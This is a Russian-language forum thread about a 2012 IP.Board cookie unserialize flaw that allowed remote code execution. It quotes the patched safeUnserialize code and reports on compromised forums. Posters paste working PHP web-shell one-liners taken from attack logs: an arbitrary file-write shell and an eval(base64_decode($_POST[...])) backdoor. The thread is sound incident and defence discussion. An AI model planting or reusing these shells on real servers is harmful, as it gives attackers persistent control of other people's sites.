Перейти к публикации
View in the app

A better way to browse. Learn more.

Дизайн и модификация Invision Community

A full-screen app on your home screen with push notifications, badges and more.

To install this app on iOS and iPadOS
  1. Tap the Share icon in Safari
  2. Scroll the menu and tap Add to Home Screen.
  3. Tap Add in the top-right corner.
To install this app on Android
  1. Tap the 3-dot menu (⋮) in the top-right corner of the browser.
  2. Tap Add to Home screen or Install app.
  3. Confirm by tapping Install.

Security update

Рекомендованные сообщения

Опубликовано:

Что-то так лениво обновлять все форумы...

 

А в IBR работают бандерлоги - запихали свои функции в core.php, и этим добились несовместимости своего дистрибутива с английским. Положили бы свои сео-функции в constants.php, а переназначение ЧПУ - сделали бы хуком, и такой проблемы не было бы, и совместимость была бы полная.

Опубликовано:

Насколько я вижу, алгоритм простейший. В старом методе get класса IPSCookie выполнялось userialize для cookie, если она начиналась с 'a:'. Если подсунуть в cookie сериализованный объект, он разворачивался в инстанс, и код конструктора выполнялся. По сути это уязвимость вида "remote code execution" - очень серьезная дыра. Проблему решили добавлением проверки на наличие объекта в составе упакованного объекта - метод safeUnserialize в составе класса IPSLib:

	/**
* mixed safe_unserialize(string $serialized)
* Safely unserialize, that is only unserialize string, numbers and arrays, not objects
*
* @license Public Domain
* @author dcz (at) phpbb-seo (dot) com
*/
static public function safeUnserialize( $serialized )
{
	// unserialize will return false for object declared with small cap o
	// as well as if there is any ws between O and :
	if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false )
	{
		if ( strpos( $serialized, 'O:' ) === false )
		{
			 // the easy case, nothing to worry about
			 // let unserialize do the job
			 return @unserialize( $serialized );
		 }
		 else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) )
		 {
			 // in case we did have a string with O: in it,
			 // but it was not a true serialized object
			 return @unserialize( $serialized );
		 }
	 }

	 return false;
}

 

Эту проверку внедрили в метод get:

    /**
 * Get a cookie.
 * Abstract layer allows us to do some checking, etc
 *
 * @param	string		Cookie name
 * @return	mixed
 * @since	2.0
 */
  	static public function get($name)
{
	/* Check internal data first */
	if ( isset( self::$_cookiesSet[ $name ] ) )
	{
		return self::$_cookiesSet[ $name ];
	}
   	else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
   	{
		$_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];

   		$_couldBeSerialized = stripslashes( urldecode( $_value ) );

   		if ( substr( $_couldBeSerialized, 0, 2 ) == 'a:' )
   		{ 
			return IPSLib::safeUnserialize( $_couldBeSerialized );
   		}
   		else
   		{
			return IPSText::parseCleanValue( urldecode( $_value ) );
   		}
   	}
   	else
   	{
   		return FALSE;
   	}
   }

Опубликовано:

Нас пропатчила только что английским патчем

Опубликовано:

Возможно, нас тоже пытались ломать.

Опубликовано:
  • Автор

Нда, посмотрел на пару школо-форумов, все поголовно с шеллами, на некоторых целый букет. Похоже уже начали ломать на автомате.

Опубликовано:

Подтверждаю. Один форум не пропатчил - десяток шеллов на нем уже лежит. Довольно серьезная дыра, создающая множество проблем.

 

Подобные проблемы заставляют задуматься об отказе от использования IP.Board...

Опубликовано:

Вот такие вот шеллы дропают:

 

d19d8a81069d77af4fccda594ddef321.php

==============================================================================
URL: /index.php/index.php
Date: Mon, 05 Nov 2012 20:31:41 +0000
IP Address: 74.208.213.252
Time Taken: 0.00022
<?php print(md5(123456));echo file_put_contents($_POST[f],$_POST[b]); ?>

==============================================================================
==============================================================================
=========================        END       ===================================
========================= /index.php? ===================================
==============================================================================

 

37b5d35ddc8dd39b62ecfc0025fefb58.php

==============================================================================
URL: /index.php/forums/index.php
Date: Mon, 05 Nov 2012 20:32:02 +0000
IP Address: 74.208.213.252
Time Taken: 0.00021
<?php print(md5(123456));echo file_put_contents($_POST[f],$_POST[b]); ?>

==============================================================================
==============================================================================
=========================        END       ===================================
========================= /index.php? ===================================
==============================================================================

 

Явно автобот работает.

Опубликовано:

Поступили кардинально. Вместо serialize/unserialize задействовали json_encode и json_decode. Чтобы применить патчи на русской версии, надо скачать английскую версию core.php, скопировать из нее и целиком заменить в русской класс:

/**
* IPSCookie
*
* This deals with saving and writing cookies
*/
class IPSCookie
{
...

 

Второй файл можно смело перезаписывать.

Опубликовано:

Вынесу тему в паблик, пожалуй. Тут ничего такого нет, а мне удобно ссылку давать.

Опубликовано:

Это просто жесть какая-то. На всех форумах, к которым у меня есть доступ, есть /cache/ - шелл.

 

Видимо, стремительно прошла вторая волна, уже обходящая первый патч. Вот спасибо IPS за счастливое детство. Закрываю все свои IP.Board форумы на карантин.

Опубликовано:

В большинстве случаев просто дропнули шелл и пошли дальше. Видимо, ботнет собирают.

Опубликовано:

Вариации шеллов:

 

/cache/cx.php

==============================================================================
URL: /index.php/
Date: Tue, 06 Nov 2012 12:48:48 +0000
IP Address: 195.182.194.223
Time Taken: 0.00022

==============================================================================
==============================================================================
=========================        END       ===================================
========================= /index.php? ===================================
==============================================================================
==============================================================================
URL: /index.php/
Date: Tue, 06 Nov 2012 12:48:48 +0000
IP Address: 195.182.194.223
Time Taken: 0.00021

==============================================================================
==============================================================================
=========================        END       ===================================
========================= /index.php? ===================================
==============================================================================

 

/cache/cache.php

==============================================================================
=========================        END       ===================================
========================= /index.php?%3C?error_reporting(0);print(___);eval(base64_decode($_POST[HTTP]));die;?%3E ===================================
==============================================================================

Опубликовано:

Всплывает старая истина: запрет на web-доступ к /cache/ - всегда хорошая идея)

Опубликовано:
  • Автор

Ритсука зачем палишь разновидности? :)

 

Всплывает старая истина: запрет на web-доступ к /cache/ - всегда хорошая идея)

Обходится как два пальца.

Создайте аккаунт или войдите в него для комментирования

Сейчас на странице 0

  • Нет пользователей, просматривающих эту страницу.

Configure browser push notifications

Chrome (Android)
  1. Tap the lock icon next to the address bar.
  2. Tap Permissions → Notifications.
  3. Adjust your preference.
Chrome (Desktop)
  1. Click the padlock icon in the address bar.
  2. Select Site settings.
  3. Find Notifications and adjust your preference.